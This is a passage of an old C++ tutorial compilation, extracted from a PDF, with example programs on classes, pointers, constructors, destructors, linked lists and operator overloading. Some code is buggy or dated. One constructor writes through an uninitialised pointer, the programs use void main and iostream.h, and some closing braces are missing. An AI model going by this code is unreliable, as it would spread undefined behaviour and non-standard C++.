
int length;
int width;
char *line_of_text; //pointer variable
public:
wall(char *input_line); //constructor declaration
void set(int new_length, int new_width);
int get_area(void);
};

//---------class implementation part--------


wall::wall(char *input_line) //constructor implementation
{
length = 8;
width = 8;
line_of_text = input_line;
}

//This method will set a wall size to the two input parameters
void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}

//This method will calculate and return


//the area of a wall instance
int wall::get_area(void)
{
cout<<line_of_text<< "= ";
return (length * width);
}

//----------main program------------
void main()
{
//objects are instantiated with a string
//constant as an actual parameters
wall small("of small size "),
medium("of medium size "),
large("of large size ");

small.set(5, 7);
large.set(15, 20);

cout<<" Embedded string used as an object\n";


cout<<" ----------------------------------\n\n";
cout<<"Area of wall surface ";
cout<<small.get_area()<<"\n";
cout<<"Area of wall surface ";
cout<<medium.get_area()<<"\n";
//use default value of constructor
cout<<"Area of wall surface ";
cout<<large.get_area()<<"\n";

system("pause");
}

file:///C|/Tutorial.txt (182 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

---------------------------------------------------------------------------------------

//Program opinptr.cpp
#include <iostream.h>
#include <stdlib.h>

//-------class declaration part------


class wall
{
int length;
int width;
int *point;
//declaration of the pointer variable
public:
wall(void);
//constructor declaration
void set(int new_length, int new_width, int stored_value);
int get_area(void) { return (length * width); }
//Inline function
int get_value(void) { return *point; }
//Inline function
~wall();
//destructor
};

//----------class implementation part----------


wall::wall(void)
//constructor implementation
{
length = 8;
width = 8;
point = new int; //new keyword
*point = 112;
}

//This method will set a wall size to the input parameters


void wall::set(int new_length, int new_width, int stored_value)
{
length = new_length;
width = new_width;
*point = stored_value;
}

wall::~wall(void)
//destructor
{
length = 0;
width = 0;
delete point; //delete keyword
}

//---------main program----------
void main()
{
wall small, medium, large; //objects instance

file:///C|/Tutorial.txt (183 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

small.set(5, 7, 177);
large.set(15, 20, 999);

cout<<"Area of the small wall surface is "<<small.get_area()<<"\n";


cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n";
cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
cout<<"Third variable in class wall, pointer *point\n";
cout<<"----------------------------------------------\n";
cout<<"Stored value of the small wall surface is "<<small.get_value()<<"\n";
cout<<"Stored value of the medium wall surface is "<<medium.get_value()<<"\n";
cout<<"Stored value of the large wall surface is "<<large.get_value()<<"\n";

system("pause");
}

------------------------------------------------------------------------------------------------------------------

//Program obdyna.cpp
//dynamically allocated object

#include <iostream.h>
#include <stdlib.h>

//-------Class declaration part-------


class wall
{
int length;
int width;
//two member variables
public:
wall(void);
//constructor declaration
void set(int new_length, int new_width);
int get_area(void);
//two methods
};

//---------class implementation part----------


wall::wall(void)
//constructor implementation
{
length = 8;
width = 8;
}

//This method will set a wall size to the input parameters


void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}

//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{

file:///C|/Tutorial.txt (184 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

return (length * width);


}

//---------main program--------
void main()
{
wall small, medium, large;
//objects are instantiated of type class wall
wall *point;
//a pointer to a class wall

small.set(5, 7);
large.set(15, 20);

point = new wall; //new operator


//use the defaults value supplied by the constructor

cout<<"Use small.set(5, 7)\n";


cout<<"-------------------\n";
cout<<"Area of the small wall surface is "<<small.get_area()<<"\n\n";
cout<<"Use default/constructor value medium.set(8, 8)\n";
cout<<"-----------------------------------------------\n";
cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n\n";
cout<<"Use large.set(15, 20)\n";
cout<<"----------------------\n";
cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
cout<<"Use default/constructor value, point->get_area()\n";
cout<<"------------------------------------------------\n";
cout<<"New surface area of wall "<<point->get_area()<<"\n\n";
cout<<"Use new value, point->set(12, 12)\n";
cout<<"---------------------------------\n";
point->set(12, 12);
cout<<"New surface area of wall "<<point->get_area()<<"\n";
delete point; //delete operator

system("pause");
}

--------------------------------------------------------------------------------------------------------------------

//Program oblist.cpp
//object and list

#include <iostream.h>
#include <stdlib.h>

//---------class declaration part---------


class wall
{
int length;
int width;
wall *another_wall; //pointer variable
public:
wall(void);
//constructor declaration
void set(int new_length, int new_width);

file:///C|/Tutorial.txt (185 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int get_area(void);
void point_at_next(wall *where_to_point);
wall *get_next(void);
};

//----------class implementation part-------


wall::wall(void)
//constructor implementation
{
length = 8;
width = 8;
another_wall = NULL;
}

//This method will set a wall size to the input parameters


void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}

//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{
return (length * width);
}

//this method causes the pointer to point to the input parameter


void wall::point_at_next(wall *where_to_point)
{
another_wall = where_to_point;
}

//this method returns the wall the current one points to


wall *wall::get_next(void)
{
return another_wall;
}

//-------main program--------
void main()
{
wall small, medium, large;
//objects are instantiated, of type class wall
wall *wall_pointer;
//wall *point;
//a pointer to a wall

small.set(5, 7);
large.set(15, 20);

//point = new wall;


//use the defaults value supplied by the constructor
cout<<"Using small.set(5, 7):\n";
cout<<"----------------------\n";
cout<<"Area of the small wall surface is "<<small.get_area()<<"\n\n";

file:///C|/Tutorial.txt (186 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Using default/constructor value\n";


cout<<"-------------------------------\n";
cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n\n";
cout<<"Using large.set(15, 20):\n";
cout<<"------------------------\n";
cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";

small.point_at_next(&medium);
medium.point_at_next(&large);

wall_pointer = &small;
wall_pointer = wall_pointer->get_next();

cout<<"The wall’s pointer pointed to has area "<<wall_pointer->get_area()<<"\n";

system("pause");
}

------------------------------------------------------------------------------------------------------------------

//using the this pointer explicitly


//to refer to object members
#include <iostream.h>
#include <stdlib.h>

class ThiPoint
{
int c;
public:
ThiPoint(int);
void display();
};

ThiPoint::ThiPoint(int a){ c = a;} //just a constructor

void ThiPoint::display()
{

cout<<"c = "<<c<<endl;
cout<<"this->c = "<<this->c<<endl;
cout<<"(*this).c = "<<(*this).c<<endl;
//use parentheses for (*this).c because
//dot has higher precedence than *
}

void main(void)
{
ThiPoint b(10);

b.display();
system("pause");
}

-------------------------------------------------------------------------------------------------------------------

//Program oblink.cpp,

file:///C|/Tutorial.txt (187 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//object link list


#include <iostream.h>
#include <stdlib.h>

//---------class declaration part-------


class wall
{
int length;
int width;
wall *another_wall; //pointer variable
public:
wall(void);
//constructor declaration
void set(int new_length, int new_width);
int get_area(void);
void point_at_next(wall *where_to_point);
wall *get_next(void);
};

//----------class implementation part-------


wall::wall(void)
//constructor implementation
{
length = 8;
width = 8;
another_wall = NULL;
}

//This method will set a wall size to the input parameters


void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}

//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{
return (length * width);
}

//this method causes the pointer to point to the input parameter


void wall::point_at_next(wall *where_to_point)
{
another_wall = where_to_point;
}

//this method returns the wall the current one points to


wall *wall::get_next(void)
{
return another_wall;
}

//--------main program---------
void main()
{

file:///C|/Tutorial.txt (188 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

wall *start = NULL; //always point to the start of the list


wall *temp = NULL; //working pointer, initialize with NULL
wall *wall_pointer; //use for object wall instances

//Generate the list


for(int index = 0; index < 8; index++)
{
wall_pointer = new wall; //new object instances
wall_pointer->set(index+1, index+3);

if(start == NULL)
start = wall_pointer; //first element in list
else
temp->point_at_next(wall_pointer); //next element, link list

temp = wall_pointer;
//print the list
cout<<"Starting with wall_pointer->set("<<(index+1)<<","<<(index+3)<<")"<<"\n";
cout<<" New Wall's surface area is " <<temp->get_area() << "\n";
}

//clean up
temp = start;
do {
temp = temp->get_next();
delete start;
start = temp;
} while (temp != NULL);

system("pause");
}

------------------------------------------------------------------------------------------------------------------

//Program obnest.cpp
#include <iostream.h>
#include <stdlib.h>

//-----first class declaration-------


class mail_info
{
int shipper;
int postage;
public:
void set(int input_class, int input_postage)
{
shipper = input_class;
postage = input_postage;
}
int get_postage(void)
{ return postage;}
};

//------Second class declaration---------


class box
{

file:///C|/Tutorial.txt (189 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int length;
int width;
mail_info label;

public:
void set(int l, int w, int ship, int post)
{
length = l;
width = w;
label.set(ship, post);
//Accessing the first class, mail_info set() method
}

int get_area(void) { return (length * width);}


};

//------main program------
void main()
{
box small, medium, large; //object instances

small.set(2,4,1,35);
medium.set(5,6,2,72);
large.set(8,10,4,98);

cout<<"Normal class-->small.get_area()\n";
cout<<"-------------------------------\n";
cout<<"Area of small box surface is "<<small.get_area()<< "\n\n";
cout<<"Normal class-->medium.get_area()\n";
cout<<"-------------------------------\n";
cout<<"Area of medium box surface is "<<medium.get_area() << "\n\n";
cout<<"Normal class-->large.get_area()\n";
cout<<"-------------------------------\n";
cout<<"Area of large box surface is "<<large.get_area()<<"\n\n";

system("pause");
}

------------------------------------------------------------------------------------------------------------------

//Program opverlod.cpp, operator overloading


#include <iostream.h>
#include <stdlib.h>

//----class declaration part-------


class wall
{
public:
int length;
int width;

public:
void set(int l,int w) {length = l; width = w;}
int get_area(void) {return length * width;}
//operator overloading
friend wall operator + (wall aa, wall bb); //add two walls

file:///C|/Tutorial.txt (190 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

friend wall operator + (int aa, wall bb); //add a constant to a wall
friend wall operator * (int aa, wall bb);
//multiply a wall by a constant
};

//-------class implementation part----------


wall operator + (wall aa, wall bb)
//add two walls widths together
{
wall temp;
temp.length = aa.length;
temp.width = aa.width + bb.width;
return temp;
}

wall operator + (int aa, wall bb)


//add a constant to wall
{
wall temp;
temp.length = bb.length;
temp.width = aa + bb.width;
return temp;
}

wall operator * (int aa, wall bb)


//multiply wall by a constant
{
wall temp;
temp.length = aa * bb.length;
temp.width = aa * bb.width;
return temp;
}

void main()
{
wall small, medium, large; //object instances
wall temp;

small.set(2,4);
medium.set(5,6);
large.set(8,10);

cout<<"Normal values\n";
cout<<"-------------\n";
cout<<"Area of the small wall surface is "<<small.get_area()<<"\n";
cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n";
cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
cout<<"Overload the operators!"<<"\n";
cout<<"-----------------------"<<endl;

temp = small + medium;

cout<<"New value-->2 * (4 + 6)\n";


cout<<"New area of the small wall surface is "<<temp.get_area()<<"\n\n";
cout<<"New value-->2 * (10 + 4) \n";

file:///C|/Tutorial.txt (191 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

temp = 10 + small;

cout<<"New area of the medium wall surface is "<<temp.get_area()<<"\n\n";


cout<<"New value-->(4 * 8) * (4 * 10)\n";

temp = 4 * large;

cout<<"New area of the large wall surface is "<<temp.get_area()<<"\n\n";

system("pause");
}

-----------------------------------------------------------------------------------------------------------------

//Program funovlod.cpp, function overloading


#include <iostream.h>
#include <stdlib.h>

//-------class declaration part---------


class many_names
{
int length;
int width;
public:
many_names(void);
many_names(int len);
many_names(int len, int wid);
//constructors with different number and type
//of parameter list – overloaded functions
void display(void);
void display(int one);
void display(int one, int two);
void display(float number);
//methods with different number and type
//of parameter list – overloaded functions
};

//-------implementation part--------
many_names::many_names(void) //void
{
length = 8;
width = 8;
}

many_names::many_names(int len) //one parameter


{
length = len;
width = 8;
}

many_names::many_names(int len, int wid) //two parameter


{
length = len;
width = wid;
}

file:///C|/Tutorial.txt (192 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void many_names::display(void) //void for display


{
cout<<"From void display function, Area = "<<length * width<<"\n";
}

void many_names::display(int one) // 1 parameter


{
cout<<"From int display function, Area = "<<length * width<<"\n";
}

void many_names::display(int one, int two) //2 parameters


{
cout<<"From two int display function, Area = "<<length * width<<"\n";
}

void many_names::display(float number) //1 parameter


{
cout<<"From float display function, Area = "<<length * width<<"\n";
}

//------main program-------
main()
{
many_names small, medium(10), large(12,15);
int gross = 144;
float pi = 3.1415, payroll = 12.50;

cout<<"Guess, which function that they invoked???\n";


cout<<"------------------------------------------\n";
cout<<"-->small.display()\n";
small.display();
cout<<"\n-->small.display(100)\n";
small.display(100);
cout<<"\n-->small.display(gross,100)\n";
small.display(gross,100);
cout<<"\n-->small.display(payroll)\n";
small.display(payroll);
cout<<"\n-->medium.display()\n";
medium.display();
cout<<"\n-->large.display(pi)\n";
large.display(pi);

system("pause");
}

------------------------------------------------------------------------------------------------------------------

//program deftmeth.cpp, default method


#include <iostream.h>

#include <string.h>
#include <stdlib.h>

//------class declaration part-------


class def
{

file:///C|/Tutorial.txt (193 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int size; //A simple stored value


char *string; //A name for the stored data
public:
//This overrides the default constructor
def(void);

//This overrides the default copy constructor


def(def &in_object);

//This overrides the default assignment operator


def &operator=(def &in_object);

//This destructor should be required with dynamic allocation


~def(void);

//And finally, a couple of ordinary methods


void set_data(int in_size, char *in_string);
void get_data(char *out_string);
};

//------class implementation-------
def::def(void)
{
size = 0;
string = new char[2];
strcpy(string, "");
}

def::def(def &in_object)
{
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string);
}

def& def::operator=(def &in_object)


{
delete [] string;
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string);
return *this; //this pointer
}

def::~def(void)
{
delete [] string;
}

void def::set_data(int in_size, char *in_string)


{
size = in_size;
delete [] string;
string = new char[strlen(in_string) + 1];
strcpy(string, in_string);
}

file:///C|/Tutorial.txt (194 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void def::get_data(char *out_string)


{
char temp[10];
strcpy(out_string, string);
strcat(out_string, " = ");
itoa(size, temp, 10);
strcat(out_string, temp);
}

//--------main program----------
void main()
{
char buffer[80];
def my_data;
my_data.set_data(8, " small size, override default constructor ");
my_data.get_data(buffer);
cout<<" content of buffer!!\n"<<buffer<<"\n";

def more_data(my_data);
more_data.set_data(12, " medium size, override copy constructor");
my_data.get_data(buffer);
cout<<"\n content of buffer 2nd round!!\n"<<buffer<<"\n";

my_data = more_data;
my_data.get_data(buffer);
cout<<"\n content of buffer 3rd round, assignment overload!!\n"<<buffer<<"\n";

system("pause");
}

---------------------------------------------------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

class PlayText
{

char *NewPointerVariable;

public:
PlayText(char *InputFromMainProgPointer);
int GetData(void);
};

PlayText::PlayText(char *InputFromMainProgPointer)
{
cout<<"Location: constructor implementaion part\n";
cout<<"Examine the flow of execution!!!\n";
cout<<"String brought by object from main program is
"<<"\""<<InputFromMainProgPointer<<"\""<<"\n";
cout<<"through pointer variable *InputFromMainProgPointer\n";
cout<<"Assign this string to class member pointer variable\n";
cout<<"*NewPointerVariable\n";

file:///C|/Tutorial.txt (195 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Next Location: Main program\n\n";

NewPointerVariable = InputFromMainProgPointer;
}
int PlayText::GetData(void)
{
cout<<NewPointerVariable<<" = ";
return 100;
}

void main()
{
PlayText small("of small size");

cout<<"cout string of main program \"Area of...\" mix \n";


cout<<"with variable NewPointerVariable and silly integer value\n";
cout<<"from implementation part by using small.GetData()....\n";
cout<<"Go to implementation part after next cout, and the output is: \n\n";
cout<<"Area of wall surface ";
cout<<small.GetData()<<"\n";

system("pause");
}

-------------------------------------------------------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

class LearnPointer
{
int *MemVarPoint;
public:
LearnPointer(void);
void SetData(int InputData);
int GetData(void)
{ return *MemVarPoint; };
~LearnPointer(void);
};

LearnPointer::LearnPointer(void)
{
*MemVarPoint = 100;
cout<<"In Constructor: Address of pointer *MemVarPoint is "<<&MemVarPoint<<"\n";
}

void LearnPointer::SetData(int InputData)


{
cout<<"In Method: Address of pointer *MemVarPoint is "<<&MemVarPoint<<"\n";
*MemVarPoint = InputData;
}

LearnPointer::~LearnPointer(void)
{
delete MemVarPoint;
}

file:///C|/Tutorial.txt (196 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void main()
{
LearnPointer SimpleData;
int x;

cout<<"First time: This is constructor value = "<<SimpleData.GetData()<<"\n\n";

SimpleData.SetData(1000);

cout<<"Set the data, call method from implementation part\n";


cout<<"Second time: Override the constructor value = "<<SimpleData.GetData()<<"\n";
cout<<"\nLet get data from user\n";
cout<<"Please key in one integer value: ";
cin>>x;

SimpleData.SetData(x);

cout<<"Third time: New data from user = "<<SimpleData.GetData()<<"\n";


cout<<"\n...See...different data, at different time but"<<endl;
cout<<"same memory (address) allocation..."<<endl;

system("pause");
}

--------------------------------------------------------------------------------------------------------------

//testing the new and delete keywords


#include <iostream.h>
#include <stdlib.h>

//----class declaration part-------


class TestNewDel
{
//member variables...
private:
int TestVar;
char *TestPtr;

//member functions, constructor and destructor...


public:
TestNewDel();
int DisplayValue();
char* DisplayStr();
~TestNewDel();
};

//---class implementation part--------


//constructor...
TestNewDel::TestNewDel()
{
//test how the constructor is invoked...
static int x=1;
cout<<"In Constructor, pass #"<<x<<endl;
x++;
}

file:///C|/Tutorial.txt (197 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//simple function returning a value...


int TestNewDel::DisplayValue()
{
return TestVar = 200;
}

//another function returning a string...


char* TestNewDel::DisplayStr()
{
TestPtr = "Testing the new and delete";
return TestPtr;
}

//destructor...
TestNewDel::~TestNewDel()
{
//test how destructor is invoked...
//use static to retain previous value…
static int y=1;
cout<<"In Destructor, pass #"<<y<<endl;
y++;
//explicitly clean up...
TestVar = 0;
}

//----main program------
int main()
{
//instantiate an object...
//constructor should be invoked...
//with proper memory allocation...
TestNewDel Obj1;

cout<<"In main, testing 1...2...3..."<<endl;


//display the data value...
cout<<"Default constructor value assign to Obj1 = "<<Obj1.DisplayValue()<<endl;

//invoke constructor explicitly...


//remember to clean up later explicitly...
TestNewDel* Obj2 = new TestNewDel;
//reconfirm the allocation for Obj2...
if(!Obj2)
cout<<"Allocation to Obj2 failed!"<<endl;
else
cout<<"Allocation to Obj2 is OK!"<<endl;

//display the data value...


cout<<"Default constructor value "
<<"\n assigned to Obj2 = "<<"\'"<<Obj2->DisplayStr()<<"\'"<<endl;

//explicitly clean up the allocation...


delete Obj2;

system("pause");
return 0;

file:///C|/Tutorial.txt (198 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

---------------------------------------------------------------------------------------------------------------

//operators overloading example


#include <iostream.h>
#include <stdlib.h>
#include <assert.h>

//----class declaration part------


class TestArray
{
//these overloaded << and >> must be friend of TestArray class...
//so the overloaded << and >> of TestArray class are available
//for the ostream and istream classes, u will learn later...
//ostream and istream are C++ file I/O...
//equal to operator(cout, object) function,
friend ostream &operator<<(ostream &,TestArray &);
//equal to operator(cin, object) function
friend istream &operator>>(istream &,TestArray &);

public:
//default constructor
TestArray(int = 4);
//copy constructor
TestArray(const TestArray &);
//destructor
~TestArray();

//return the size of the an array


int GetSize() const;
//overloaded the assignment operator
const TestArray &operator=(const TestArray &);
//overloaded the == operator
int operator==(const TestArray &) const;
//overloaded the != operator
int operator!=(const TestArray &) const;
//overloaded the [] operator
int &operator[](int);

private:
int *ptr;
int size;
};

//-----class implementation part-------


//default constructor for TestArray class
TestArray::TestArray(int ArraySize)
{
size = ArraySize;
ptr = new int[size];
assert(ptr != 0);
for(int i= 0;i<size;i++)
ptr[i] = 0;
}

file:///C|/Tutorial.txt (199 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//copy constructor for TestArray class


TestArray::TestArray(const TestArray &initial)
{
size = initial.size;
ptr = new int[size];
assert(ptr !=0);
for(int i = 0;i<size;i++)
ptr[i] = initial.ptr[i];
}

//destructor for TestArray class


TestArray::~TestArray()
{
delete[] ptr;
}

//get the array's size


int TestArray::GetSize() const {return size;}

//overloaded the subscript/index operator


int &TestArray::operator[](int index)
{
assert((index >= 0) && (index < size));
return ptr[index];
}

//== comparison, return 1 if true, 0 if false


int TestArray::operator==(const TestArray &rightside) const
{
if (size != rightside.size)
return 0;
for(int i = 0; i< size; i++)
if(ptr[i] != rightside.ptr[i])
return 0;
return 1;
}

//!= comparison, return 1 if true, 0 if false


int TestArray::operator!=(const TestArray &rightside) const
{
if (size != rightside.size)
return 1;
for(int i = 0; i<size;i++)
if (ptr[i] != rightside.ptr[i])
return 1;
return 0;
}

//overloaded assignment operator


const TestArray &TestArray::operator=(const TestArray &rightside)
{
if(&rightside != this)
{
delete [] ptr;
size = rightside.size;
ptr = new int[size];

file:///C|/Tutorial.txt (200 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

assert(ptr !=0);
for(int i = 0; i< size; i++)
ptr[i] = rightside.ptr[i];
}
return *this;
}

//overloaded the >> operator


istream &operator>>(istream &input, TestArray &x)
{
for(int i = 0; i < x.size; i++)
input>>x.ptr[i];
return input;
}

//overloaded the << operator


ostream &operator<<(ostream &output, TestArray &x)
{
int i;
for(i = 0; i < x.size; i++)
{
output<<x.ptr[i]<<' ';

if((i+1)%10==0)
output<<endl;
}
if (i % 10 !=0)
output << endl;
return output;
}

//--------main program---------
int main()
{
//One(3) same as One = 3 and Two will use
//the default constructor value, 4
TestArray One(3), Two;

cout<<"Array One's size is "


<<One.GetSize()
<<"\nWith initial data: "<<One;

cout<<"Array Two's size is "


<<Two.GetSize()
<<"\nWith initial data: "<<Two;

cout<<"\nNow, input 7 integers for the arrays:\n";


cin>>One>>Two;
cout<<"\nThen, the arrays content:\n"
<<"One[]: "<<One
<<"Two[]: "<<Two;

cout<<"\nNew array, copy of One's array:";


TestArray Three(One);
cout<<"\nThe new array, Three size is "<<Three.GetSize()
<<"\nArray initial value: "<<Three;

file:///C|/Tutorial.txt (201 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"\nTesting: One == Three?\n";

if(One == Three)
cout<<"They are equal\n";
else
cout<<"They are not equal!";

cout<<"\nTesting: One != Two?\n";


if(One != Two)
cout<<"They are not equal\n\n";

cout<<"Assigning Two to One:\n";


One = Two;
cout<<"One: "<<One<<"Two: "<<Two;

cout<<"\nTesting: One == Two?\n";


if(One == Two)
cout<<"They are equal\n";
else
cout<<"They are not equal!\n";

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------------------

//operator and function overloading


//the classic simple complex number example
#include <iostream.h>
#include <stdlib.h>

class complexnum
{
private:
double p, q;

public:
//constructor forming the a + bi
//overloaded function, with two arguments...

complexnum(double a, double b)
{
p = a;
q = b;
}

//Constructor forming the a + 0i


//overloaded function, with one argument...
complexnum(double a)
{
p = a;
q = 0;
}

file:///C|/Tutorial.txt (202 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Returns the real part


double realpart()
{return p; }

//Returns the complex part


double imaginarypart()
{ return q; }

//Addition operation of two complex numbers


//overloaded operator +
complexnum operator+(complexnum a)
{ return complexnum(a.p + p, a.q + q); }

//Addition a complex number and a double


//overloaded operator +
complexnum operator+(double a)
{ return complexnum(p + a, q);}

//Subtraction operation of two complex numbers...


//overloaded operator -
complexnum operator-(complexnum a)
{ return complexnum(p - a.p, q - a.q); }

//Addition a complex number and a double


//overloaded operator -
complexnum operator-(double a)
{ return complexnum(p - a, q); }
};

//display format for complex number...


//overloaded operator <<
ostream& operator<<(ostream& s, complexnum r)
{
//if no imaginary part...
if(r.imaginarypart() == 0)
//return real part only...
return s<<r.realpart();

//if imaginary part < 0, i.e negative...


else if(r.imaginarypart() < 0 )
{
//and if no real part
if(r.realpart() == 0)
//return imaginary part only...
return s<<r.imaginarypart()<<"i";
else
//return both real and imaginary parts...
return s<<r.realpart()<<r.imaginarypart()<<"i";
}
else
{
//and if no real part
if(r.realpart() == 0)
//return imaginary part only...
return s<<r.imaginarypart()<<"i";
else

file:///C|/Tutorial.txt (203 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//return both, real and imaginary parts...


return s<<r.realpart()<<" + "<<r.imaginarypart()<<"i";
}

void main()
{
double a,b;

//get two numbers


cout<<"Enter 2 numbers: ";
cin>>a>>b;

complexnum r = complexnum(a,b);

cout<<"\nThe complex form is r = "<<r<<endl;


complexnum t = complexnum(7.0);
cout<<"\nGiven t = "<<t<<endl;
//Addition of complex number and constant…
cout<<"\nThen, r + t = "<<(r+t)<<endl;
//Subtraction of complex number and complex number
cout<<"\nThen, r - (4 + 2i) = "<<(r - complexnum(4,2))<<endl;
//addition of complex number and complex number
cout<<"\nThen, r + (2 + 2i) = "<<(r + complexnum(2,2))<<endl;
system("pause");

--------------------------------------------VC++/VC++ .Net------------------------------------------------

//program deftmeth.cpp, default method


#include <iostream>
#include <cstring>
using namespace std;

//--------class declaration part-----------


class def
{
int size; //A simple stored value
char *string; //A name for the stored data
public:
//This overrides the default constructor
def(void);

//This overrides the default copy constructor


def(def &in_object);

//This overrides the default assignment operator


def &operator=(def &in_object);

//This destructor should be required with dynamic allocation


~def(void);

//And finally, a couple of ordinary methods


void set_data(int in_size, char *in_string);

file:///C|/Tutorial.txt (204 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void get_data(char *out_string);


};

//--------class implementation---------
def::def(void)
{
size = 0;
string = new char[2];
strcpy(string, "");
}

def::def(def &in_object)
{
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string);
}

def& def::operator=(def &in_object)


{
delete [] string;
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string);
return *this; //this pointer
}

def::~def(void)
{
delete [] string;
}

void def::set_data(int in_size, char *in_string)


{
size = in_size;
//delete the string size object…
delete [] string;
string = new char[strlen(in_string) + 1];
strcpy(string, in_string);
}

void def::get_data(char *out_string)


{
char temp[10];
strcpy(out_string, string);
strcat(out_string, " = ");
itoa(size, temp, 10);
strcat(out_string, temp);
}

//--------main program----------
void main()
{
char buffer[80];
def my_data;
my_data.set_data(8, " small size, override default constructor ");

file:///C|/Tutorial.txt (205 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

my_data.get_data(buffer);
cout<<" content of buffer!!\n"<<buffer<<"\n";

def more_data(my_data);
more_data.set_data(12, " medium size, override copy constructor");
my_data.get_data(buffer);
cout<<"\n content of buffer 2nd round!!\n"<<buffer<<"\n";

my_data = more_data;
my_data.get_data(buffer);
cout<<"\n content of buffer 3rd round, assignment overload!!\n"<<buffer<<"\n";
}

------------------------------------------G++ on Linux/Fedora---------------------------------------------

/////-program objarray.cpp-//////
/////-FEDORA 3, g++ x.x.x-///////
/////-object and array-//////////
#include <iostream>
using namespace std;

//-------class declaration------
class wall
{
int length;
int width;
static int extra_data;
//declaration of the extra_data static type
public:
wall(void);
void set(int new_length, int new_width);
int get_area(void);
//inline function
int get_extra(void) {return extra_data++;}
};

//--------class implementation---------
int wall::extra_data; //Definition of extra_data

//constructor, assigning initial values


wall::wall(void)
{
length = 8;
width = 8;
extra_data = 1;
}

//This method will set a wall size to the two input parameters
void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}

//This method will calculate and return the area of a wall instance
int wall::get_area(void)

file:///C|/Tutorial.txt (206 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
return (length * width);
}

//------main program----------
int main()
{
//instantiates 7 objects
wall small, medium, large, group[4];

//assigning values
small.set(5, 7);
large.set(15, 20);

//group[0] uses the default


for(int index=1; index<4; index++)
group[index].set(index + 10, 10);

cout<<"Sending message-->small.get_area()\n";
cout<<"Area of the small wall is "<<small.get_area()<<"\n\n";
cout<<"Sending message-->medium.get_area()\n";
cout<<"Area of the medium wall is "<<medium.get_area()<<"\n\n";
cout<<"Sending message-->large.get_area()\n";
cout<<"Area of the large wall is "<<large.get_area()<<"\n\n";

cout<<"New length/width group[index].set(index + 10, 10)\n";


for(int index=0; index<4; index++)
{
cout<<"Sending message using an array-->group"<<"["<<index<<"].get_area()\n";
cout<<"An array of wall area "<<index<<" is "<<group[index].get_area()<<"\n\n";
}

cout<<"extra_data = 1, extra_data++\n";
cout<<"Sending message using-->small.get_extra() or \n";
cout<<"array, group[0].get_extra()\n";
cout<<"Extra data value is "<<small.get_extra()<<"\n";
cout<<"New Extra data value is "<<medium.get_extra()<<"\n";
cout<<"New Extra data value is "<<large.get_extra()<<"\n";
cout<<"New Extra data value is "<<group[0].get_extra()<<"\n";
cout<<"New Extra data value is "<<group[3].get_extra()<<"\n";

return 0;
}

===========================MODULE14========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |

file:///C|/Tutorial.txt (207 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

| Distributed through http://www.tenouk.com |


| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
